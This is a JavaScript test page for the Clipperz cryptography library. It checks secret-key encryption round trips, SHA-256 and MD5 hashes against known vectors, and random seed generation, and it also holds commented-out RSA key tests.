<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Functions.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
var secretKey;
|
||||
var publicKey;
|
||||
var plainString;
|
||||
var encryptedString;
|
||||
|
||||
|
||||
secretKey = "s3cr37k39";
|
||||
plainString = "The Quick Brown Fox Jumps Over The Lazy Dog";
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString);
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Secret key encryption / decryption
|
||||
//
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string should not be empty");
|
||||
is (plainString, Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString), "I should be able to encrypt and then decrypt safely");
|
||||
|
||||
try {
|
||||
var decryptedText;
|
||||
|
||||
decryptedText = Clipperz.Crypto.Base.decryptUsingSecretKey("anotherKey", encryptedString);
|
||||
ok( false, "It should not be possible to decrypt a text with a different passphrase (decrypted text: " + decryptedText + ")" );
|
||||
} catch (e) {
|
||||
ok( e instanceof Error, "Trying to decrypt a message with the wrong passphrase raised an error" );
|
||||
}
|
||||
|
||||
is (encryptedString == Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString), false, "Two consecutive encryption of the same text should return different values");
|
||||
|
||||
secretKey = "trustno1";
|
||||
plainString = "59fed719f8959a468de367f77a33a7536d53b8e4d25ed49ccc89a94cd6899da90415623fb73386e9635034fb65ad5f248445a1c66703f760d64a8271ad342b1";
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString);
|
||||
is (plainString, Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString), "I should be able to encrypt and then decrypt safely");
|
||||
|
||||
secretKey = "trustno1";
|
||||
plainString = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed pede. Curabitur a mi id nisi euismod rutrum. Phasellus gravida. Ut luctus. Praesent quis leo sit amet orci imperdiet malesuada. Aenean molestie mauris euismod odio. Suspendisse ullamcorper facilisis nisl. Fusce vestibulum consectetuer risus. Curabitur ut turpis eget arcu facilisis ultricies. Morbi elementum, erat vitae dictum imperdiet, nisi purus rutrum odio, eget ornare ipsum nisl in tortor. Duis vestibulum, nulla et bibendum volutpat, mauris metus facilisis elit, vel gravida tortor leo at enim. Vivamus pulvinar lorem vitae tortor. Morbi rhoncus suscipit urna. Praesent placerat tempus augue. Fusce varius dui a nisi consequat ultricies. Curabitur at nisi. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.";
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString);
|
||||
is (plainString, Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString), "I should be able to encrypt and then decrypt safely");
|
||||
|
||||
secretKey = "trustno1";
|
||||
plainString = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed pede. Curabitur a mi id nisi euismod rutrum. Phasellus gravida. Ut luctus. Praesent quis leo sit amet orci imperdiet malesuada. Aenean molestie mauris euismod odio. Suspendisse ullamcorper facilisis nisl. Fusce vestibulum consectetuer risus. Curabitur ut turpis eget arcu facilisis ultricies. Morbi elementum, erat vitae dictum imperdiet, nisi purus rutrum odio, eget ornare ipsum nisl in tortor. Duis vestibulum, nulla et bibendum volutpat, mauris metus facilisis elit, vel gravida tortor leo at enim. Vivamus pulvinar lorem vitae tortor. Morbi rhoncus suscipit urna. Praesent placerat tempus augue. Fusce varius dui a nisi consequat ultricies. Curabitur at nisi. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas./n/n/nMorbi vel leo non justo condimentum convallis. Vestibulum posuere aliquam nunc. Donec magna magna, euismod nec, pharetra fringilla, tristique mattis, turpis. Duis condimentum lacus eu felis. Sed ultricies. Nullam lacinia ante id diam. Ut quis enim. Fusce at felis quis neque vehicula tempor. Sed feugiat sodales sem. Duis cursus massa in ligula. Vestibulum volutpat, risus in ornare porta, tortor orci vestibulum felis, et eleifend risus odio nec eros. Integer lorem turpis, imperdiet eu, tempor eu, ultricies nec, est. Ut congue. Morbi lacinia vehicula pede. Cras neque sapien, feugiat ac, eleifend eget, mattis et, nisl. Morbi at augue vitae massa laoreet gravida./n/n/nSuspendisse vehicula convallis sem. Sed vel urna. Proin dolor diam, malesuada in, aliquet a, sagittis et, magna. Cras at dui eu mi porta fermentum. Donec pharetra purus sed velit. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Quisque euismod ornare neque. In odio nisi, bibendum non, vulputate ut, tincidunt a, ante. Sed risus arcu, tempus laoreet, euismod id, laoreet mollis, arcu. Ut tempor orci in nibh. Suspendisse potenti. Maecenas accumsan augue at nisl. Donec elementum diam nec metus. Sed vitae lacus sed libero varius semper. Aenean hendrerit tristique arcu. Praesent adipiscing ornare purus. Vestibulum quis eros nec risus accumsan laoreet. Duis consequat ante ut turpis. Curabitur aliquam suscipit ligula. Vivamus adipiscing./n/n/nCurabitur facilisis neque sit amet erat. Aliquam odio augue, vulputate lobortis, rutrum ut, tristique id, leo. Vivamus eu magna. Maecenas et libero. Integer porta, lorem at mollis ullamcorper, purus metus vestibulum erat, ut fringilla dui ante id mi. Morbi vitae ligula. Praesent ornare sapien sed massa. Mauris rhoncus fermentum dolor. Mauris gravida, justo et mollis malesuada, dolor erat fermentum nulla, vel suscipit leo ligula vel augue. Praesent magna enim, dignissim sed, aliquet quis, fermentum viverra, nisi. Vivamus condimentum, nisi quis posuere viverra, enim nunc faucibus lectus, mollis aliquam ipsum enim vel lacus. Suspendisse eget ligula. Aliquam ut metus et justo consectetuer ornare. Donec dapibus tristique pede. Vestibulum interdum ultricies tortor./n/n/nNunc nonummy dictum tortor. Quisque at elit a arcu nonummy elementum. Quisque auctor, risus et sodales euismod, turpis tellus consectetuer ante, quis egestas justo enim quis mi. Nunc fermentum sodales felis. Vivamus odio mi, dignissim vitae, auctor nec, tempus eget, lacus. Ut sapien massa, hendrerit eget, sagittis at, eleifend condimentum, arcu. Curabitur purus orci, facilisis vel, dapibus id, varius rutrum, tortor. Fusce accumsan viverra sem. Quisque tincidunt venenatis risus. Sed tortor justo, volutpat malesuada, sodales ut, vehicula id, magna. Nunc placerat, nibh et imperdiet ultricies, urna nulla luctus sapien, et porta mi odio ac neque. Morbi dignissim. Sed risus pede, adipiscing gravida, pharetra sit amet, convallis non, orci. Morbi adipiscing mauris id massa. Nullam fermentum. Suspendisse eget est";
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString);
|
||||
is (plainString, Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString), "I should be able to encrypt and then decrypt safely");
|
||||
|
||||
// secretKey = "trustno1";
|
||||
// plainString = "{}";
|
||||
// plainString = "{'tags': {'personal': ['ref_1', 'ref_3'], 'business': ['ref_2', 'ref_3']}, 'records': {'ref_1': {'label': 'record_1', 'key': 'key_1'}, 'ref_2': {'label': 'record_2', 'key': 'key_2'}, 'ref_3': {'label': 'record_3', 'key': 'key_3'}}} ";
|
||||
// plainString = "{'tags': {}, 'records': {'07a5a92fcb334f757998ba14f3251f126d038318b3ac5e584bd712804c548084': {'label': 'Un bel record', 'key': '2a3f261c20a6a98dcc82b13fba013130b759f20602b4b13c5760879e087482a4'}}}";
|
||||
// encryptedString = Clipperz.Crypto.Base.encryptUsingSecretKey(secretKey, plainString);
|
||||
// is(encryptedString, "{}", "encrypted value");
|
||||
|
||||
|
||||
// secretKey = "trustno1";
|
||||
// encryptedString = "0d43a4544424ffa519f2e43b7a46f703884fd94ff9879479563f6f252a573b253d3e77bc4f5f30f17bd11d2907718921ab8c9e1faccbe4314793fa323eb85eaf1bfbce5f7deea601e15b781782181cbff3c649dafef39abb70e8573e4f9be220f2286b01c3bd51d5c4a79b9d44a27be3b0994667302e301ca3dc074fb1bc7abc03d12b9e58ba0249435a120858c96e8ae99570718541499ab958a8fb92b63390be070ff61fc6ef107061693ab14c1915118cc6671ab7cf99b9cca553d6b5a7c314bffcd933e0a59f056d842a47cfe8571110b4764c5225443210d99b43b80a23c20fe953de3e1329d72cfb20139fe1ca";
|
||||
// plainString = Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString);
|
||||
// is(plainString, "{}", "decrypted value");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Java secret key encryption / JavaScript decryption
|
||||
//
|
||||
secretKey = "s3cr37k39";
|
||||
plainString = "The Quick Brown Fox Jumps Over The Lazy Dog";
|
||||
encryptedString = "9be538c3dde4dfab9384c0ef71dc624299fbbe71be8d1fe8991fd6cae88a883cf459d7cd56913a2b69815782cf74d7ce5c2c08034661f7f8aa59cf420e913086896840ebb45102d44d733d32de2a7dc8";
|
||||
is (plainString, Clipperz.Crypto.Base.decryptUsingSecretKey(secretKey, encryptedString), "I should be able to encrypt and then decrypt safely");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Public key encryption -> Private key decryption
|
||||
//
|
||||
{
|
||||
var cleanKey;
|
||||
var t1, t2;
|
||||
/*
|
||||
//
|
||||
// 128
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039"; // a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"202700adbd85e2d7182720c3a0ee19c1",
|
||||
"30db31542ace0f7d37a629ee5eba28cb"
|
||||
);
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPublicKey(publicKey, cleanKey);
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PUBLIC 128");
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PUBLIC 128");
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PUBLIC 128");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 256
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
cleanKey = "a3c2863242653caf566b02d8be5d6eb6c816ac212378bcec7ff2bdce8e2ec709";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"8064edb1f26944f6bec2b68789db7ffd08b074d0953b76feca71dc8265c60e9",
|
||||
"2687f5ac6c70f9cab32fcbded7059502f4c7cc95fc3e09a560c68975ac4bf5e3"
|
||||
);
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPublicKey(publicKey, cleanKey);
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PUBLIC 256");
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PUBLIC 256");
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PUBLIC 256");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 512
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"59fed719f8959a468de367f77a33a7536d53b8e4d25ed49ccc89a94cd6899da90415623fb73386e9635034fb65ad5f248445a1c66703f760d64a8271ad342b1",
|
||||
"8de7066f67be16fcacd05d319b6729cd85fe698c07cec504776146eb7a041d9e3cacbf0fcd86441981c0083eed1f8f1b18393f0b186e47ce1b7b4981417b491"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPublicKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
//is("Encrypting with public key (512)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PUBLIC 512");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PUBLIC 512");
|
||||
t2 = new Date().getTime();
|
||||
//is("Decrypting with private key (512)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PUBLIC 512");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 1024
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"12e8da920d4599458e84ec5ef1656161807f427d05eb79182b7418259d6f6c14364d1f5caf9130c8d9d9d6ea71d1bdbc87781a46a16bcb9e672814fed3b9c96ddffe0a1b0955ae68055c8f92fef518a04fc32a2ea8390e617cc5556a251f9ae9eee70a32e579cb3e9f298848a9b3aaf634f5930ffbf74473f7cb6c0cefee1751",
|
||||
"130ebebd67b16a9ab2c53a437badbf8f01a80c750095a7fcfe95742c3d5ed1abb318babc5cb5d9350fee4da65ee074f65e1758117e6945f0fcfc8137528053ce9d1da8618890dee24e5e0bf8c87795bb1d09eddd544640824ee0dd0ea9fd908d27b0f8a1ae5c37f3647fbf2f5795500ad76c195b3387d0458a8f51b701472301"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPublicKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
is("Encrypting with public key (1024)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PUBLIC 1024");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PUBLIC 1024");
|
||||
t2 = new Date().getTime();
|
||||
is("Decrypting with private key (1024)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PUBLIC 1024");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 2048
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"409c6fe2b6474762b5c07f4e55ef80d174814dc1fb0fb58e979691116fb3dc433f759ff8a88d1a0f0666862b0b3758c54b7355fa87ee827369381e1f97c5d74944e032c7186b51a956fb49d6deb3aee0b2c7e65fc53bfd46d217764850667ed0363de143f3f3d06d5a0018693ad3dacdf78a18d037ceeccb7508776f27b30852b8b505666a8dca5bfbb455d2f85918f8b5295061c97673c78802c5f5cf4581c7215dc32af8dfb6fc10e9ba51fb5a88abab94157ccecf615e104a91a45e9bee072fe7b388344c1bbad4a8f7d5daeccbadf778d59eff2a491a067bba5343c5a094c61b575fe367ecfcc01c3d208c2f8c05b9496a929b2b72e70160d07d07f248f1",
|
||||
"9800012b1e533c2c28187424e1289fd4f7fe67487058f5ac7f27f18476c6c93db20b6d2c63d04ff310c1e7211cf8014adc006176529abc53fd1780274fc2629cf51d627c7465c3cbf4f110c3560e2128b97c4ea8a431f0b2a326fc31899790515ad45874ca75c68ee6695558736490ea895d598b8525bccab3156104d360b115ae25e99e9d899a2219136bad0336eeee0c6d725aa9c3b6b923c1ad95a9057b9deb7b563e05614acc800d9d8ec5de405d74feea722c5146feb80829508180ab5c80bf792b83f07c04c73ce0b3cf0d9f74aa92a4704819d103e58f5d4b8ca750148ba1cbab8eb55f92775b18da427c3a0b592809f3853274841a44b7129ec6a623"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPublicKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
is("Encrypting with public key (2048)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PUBLIC 2048");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PUBLIC 2048");
|
||||
t2 = new Date().getTime();
|
||||
is("Decrypting with private key (2048)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PUBLIC 2048");
|
||||
*/
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Private key encryption -> Public key decryption
|
||||
//
|
||||
{
|
||||
var cleanKey;
|
||||
var t1, t2;
|
||||
/*
|
||||
//
|
||||
// 128
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039"; // a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"202700adbd85e2d7182720c3a0ee19c1",
|
||||
"30db31542ace0f7d37a629ee5eba28cb"
|
||||
);
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPrivateKey(publicKey, cleanKey);
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PRIVATE 128");
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PRIVATE 128");
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I should not be able to decrypt using again the private key - PRIVATE 128");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 256
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
cleanKey = "a3c2863242653caf566b02d8be5d6eb6c816ac212378bcec7ff2bdce8e2ec709";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"8064edb1f26944f6bec2b68789db7ffd08b074d0953b76feca71dc8265c60e9",
|
||||
"2687f5ac6c70f9cab32fcbded7059502f4c7cc95fc3e09a560c68975ac4bf5e3"
|
||||
);
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPrivateKey(publicKey, cleanKey);
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PRIVATE 256");
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PRIVATE 256");
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I should not be able to decrypt using again the private key - PRIVATE 256");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 512
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"59fed719f8959a468de367f77a33a7536d53b8e4d25ed49ccc89a94cd6899da90415623fb73386e9635034fb65ad5f248445a1c66703f760d64a8271ad342b1",
|
||||
"8de7066f67be16fcacd05d319b6729cd85fe698c07cec504776146eb7a041d9e3cacbf0fcd86441981c0083eed1f8f1b18393f0b186e47ce1b7b4981417b491"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPrivateKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
//is("Encrypting with private key (512)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PRIVATE 512");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PRIVATE 512");
|
||||
t2 = new Date().getTime();
|
||||
//is("Decrypting with public key (512)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PRIVATE 512");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 1024
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"12e8da920d4599458e84ec5ef1656161807f427d05eb79182b7418259d6f6c14364d1f5caf9130c8d9d9d6ea71d1bdbc87781a46a16bcb9e672814fed3b9c96ddffe0a1b0955ae68055c8f92fef518a04fc32a2ea8390e617cc5556a251f9ae9eee70a32e579cb3e9f298848a9b3aaf634f5930ffbf74473f7cb6c0cefee1751",
|
||||
"130ebebd67b16a9ab2c53a437badbf8f01a80c750095a7fcfe95742c3d5ed1abb318babc5cb5d9350fee4da65ee074f65e1758117e6945f0fcfc8137528053ce9d1da8618890dee24e5e0bf8c87795bb1d09eddd544640824ee0dd0ea9fd908d27b0f8a1ae5c37f3647fbf2f5795500ad76c195b3387d0458a8f51b701472301"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPrivateKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
is("Encrypting with private key (1024)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PRIVATE 1024");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PRIVATE 1024");
|
||||
t2 = new Date().getTime();
|
||||
is("Decrypting with public key (1024)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PRIVATE 1024");
|
||||
*/
|
||||
/*
|
||||
//
|
||||
// 2048
|
||||
//
|
||||
cleanKey = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
publicKey = Clipperz.Crypto.Base.publicKeyWithValues(
|
||||
"10001",
|
||||
"409c6fe2b6474762b5c07f4e55ef80d174814dc1fb0fb58e979691116fb3dc433f759ff8a88d1a0f0666862b0b3758c54b7355fa87ee827369381e1f97c5d74944e032c7186b51a956fb49d6deb3aee0b2c7e65fc53bfd46d217764850667ed0363de143f3f3d06d5a0018693ad3dacdf78a18d037ceeccb7508776f27b30852b8b505666a8dca5bfbb455d2f85918f8b5295061c97673c78802c5f5cf4581c7215dc32af8dfb6fc10e9ba51fb5a88abab94157ccecf615e104a91a45e9bee072fe7b388344c1bbad4a8f7d5daeccbadf778d59eff2a491a067bba5343c5a094c61b575fe367ecfcc01c3d208c2f8c05b9496a929b2b72e70160d07d07f248f1",
|
||||
"9800012b1e533c2c28187424e1289fd4f7fe67487058f5ac7f27f18476c6c93db20b6d2c63d04ff310c1e7211cf8014adc006176529abc53fd1780274fc2629cf51d627c7465c3cbf4f110c3560e2128b97c4ea8a431f0b2a326fc31899790515ad45874ca75c68ee6695558736490ea895d598b8525bccab3156104d360b115ae25e99e9d899a2219136bad0336eeee0c6d725aa9c3b6b923c1ad95a9057b9deb7b563e05614acc800d9d8ec5de405d74feea722c5146feb80829508180ab5c80bf792b83f07c04c73ce0b3cf0d9f74aa92a4704819d103e58f5d4b8ca750148ba1cbab8eb55f92775b18da427c3a0b592809f3853274841a44b7129ec6a623"
|
||||
);
|
||||
t1 = new Date().getTime();
|
||||
encryptedString = Clipperz.Crypto.Base.encryptUsingPrivateKey(publicKey, cleanKey);
|
||||
t2 = new Date().getTime();
|
||||
is("Encrypting with private key (2048)", (t2 - t1));
|
||||
|
||||
is (isUndefinedOrNull(encryptedString), false, "An encrypted string is not empty - PRIVATE 2048");
|
||||
t1 = new Date().getTime();
|
||||
is (cleanKey, Clipperz.Crypto.Base.decryptUsingPublicKey(publicKey, encryptedString), "I can encrypt and then decrypt safely - PRIVATE 2048");
|
||||
t2 = new Date().getTime();
|
||||
is("Decrypting with public key (2048)", (t2 - t1));
|
||||
isnt (cleanKey, Clipperz.Crypto.Base.decryptUsingPrivateKey(publicKey, encryptedString), "I should not be able to decrypt using again th public key - PRIVATE 2048");
|
||||
*/
|
||||
}
|
||||
|
||||
var originalMessage;
|
||||
var processedMessage;
|
||||
var expectedResult;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Hash SHA-256
|
||||
//
|
||||
|
||||
originalMessage = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq";
|
||||
expectedResult = "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "";
|
||||
expectedResult = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "abc";
|
||||
expectedResult = "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "message digest";
|
||||
expectedResult = "f7846f55cf23e14eebeab5b4e1550cad5b509e3348fbc4efa3a1413d393cb650";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "secure hash algorithm";
|
||||
expectedResult = "f30ceb2bb2829e79e4ca9753d35a8ecc00262d164cc077080295381cbd643f0d";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "SHA256 is considered to be safe";
|
||||
expectedResult = "6819d915c73f4d1e77e4e1b52d1fa0f9cf9beaead3939f15874bd988e2a23630";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "For this sample, this 63-byte string will be used as input data";
|
||||
expectedResult = "f08a78cbbaee082b052ae0708f32fa1e50c5c421aa772ba5dbb406a2ea6be342";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "This is exactly 64 bytes long, not counting the terminating byte";
|
||||
expectedResult = "ab64eff7e88e2e46165e29f2bce41826bd4c7b3552f6b382a9e7d3af47c245f8";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
originalMessage = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Ut urna diam, vulputate quis, tempus vel, pretium in, mauris. Mauris aliquet sem a elit. Nunc molestie rutrum sem.";
|
||||
expectedResult = "528059709af4087fb8cd4427e291d89f24d8c0429b2a3b6fd152c32ce5b4680f";
|
||||
processedMessage = Clipperz.Crypto.Base.computeHashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Hash MD5
|
||||
//
|
||||
originalMessage = "59fed719f8959a468de367f77a33a7536d53b8e4d25ed49ccc89a94cd6899da9";
|
||||
expectedResult = "fde790d7da7d0d54a8db4ac500f1bbdb";
|
||||
processedMessage = Clipperz.Crypto.Base.computeMD5HashValue(originalMessage);
|
||||
is(processedMessage, expectedResult, "");
|
||||
|
||||
|
||||
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Random seed
|
||||
//
|
||||
var randomSeed;
|
||||
|
||||
randomSeed = Clipperz.Crypto.Base.generateRandomSeed();
|
||||
is(randomSeed.length, 64, "");
|
||||
|
||||
ok(randomSeed != Clipperz.Crypto.Base.generateRandomSeed(), "");
|
||||
|
||||
//#############################################################################
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
